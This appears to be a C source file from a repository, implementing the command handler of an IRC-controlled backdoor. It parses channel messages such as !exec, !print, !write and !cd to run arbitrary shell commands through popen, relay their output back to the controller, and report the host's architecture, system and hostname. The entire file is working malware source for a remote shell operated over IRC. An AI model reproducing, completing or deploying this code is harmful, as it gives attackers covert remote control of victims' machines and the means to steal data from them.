77 lines
1.4 KiB
C
77 lines
1.4 KiB
C
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#include <unistd.h>
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#include <sys/utsname.h>
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#include "backdoor.h"
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#include "irc.h"
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static FILE *fp;
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void backdoor_offline(void) {
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sleep(60);
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}
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void send_info(IRCC_client *client, const char *buf) {
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char *nick = strdup(client->irc_nick);
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if (nick == NULL)
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return;
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IRCC_send(client, nick, buf);
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free(nick);
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}
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void parse_cmd(IRCC_client *client) {
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if (!strncmp(client->irc_msg, "!exit", 5)) {
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IRCC_close(client);
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exit(0);
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}
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else if (!strncmp(client->irc_msg, "!cd", 3))
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chdir(client->irc_msg + 4);
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else if (!strncmp(client->irc_msg, "!uname", 6)) {
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struct utsname uts;
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if (uname(&uts) < 0)
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return;
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char buf[COMMON_BUF_SIZE + 1];
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snprintf(buf, sizeof(buf), "[Arch: %s] [Sys: %s %s] [Host: %s]", uts.machine, uts.sysname, uts.version, uts.nodename);
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send_info(client, buf);
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}
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/* Shell */
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else if (!strncmp(client->irc_msg, "!exec", 5)) {
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if (fp != NULL)
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pclose(fp);
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fp = popen(client->irc_msg + 5, "wr");
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}
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else if (!strncmp(client->irc_msg, "!print", 5)) {
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if (fp == NULL)
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return;
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char buf[COMMON_BUF_SIZE + 1];
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if (fgets(buf, sizeof(buf), fp) == NULL) {
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pclose(fp);
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fp = NULL;
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}
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send_info(client, buf);
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}
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else if (!strncmp(client->irc_msg, "!write", 5)) {
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if (fp == NULL)
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return;
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fputs(client->irc_msg + 5, fp);
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}
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else if (!strncmp(client->irc_msg, "!close", 5)) {
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if (fp == NULL)
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return;
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pclose(fp);
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fp = NULL;
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}
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}
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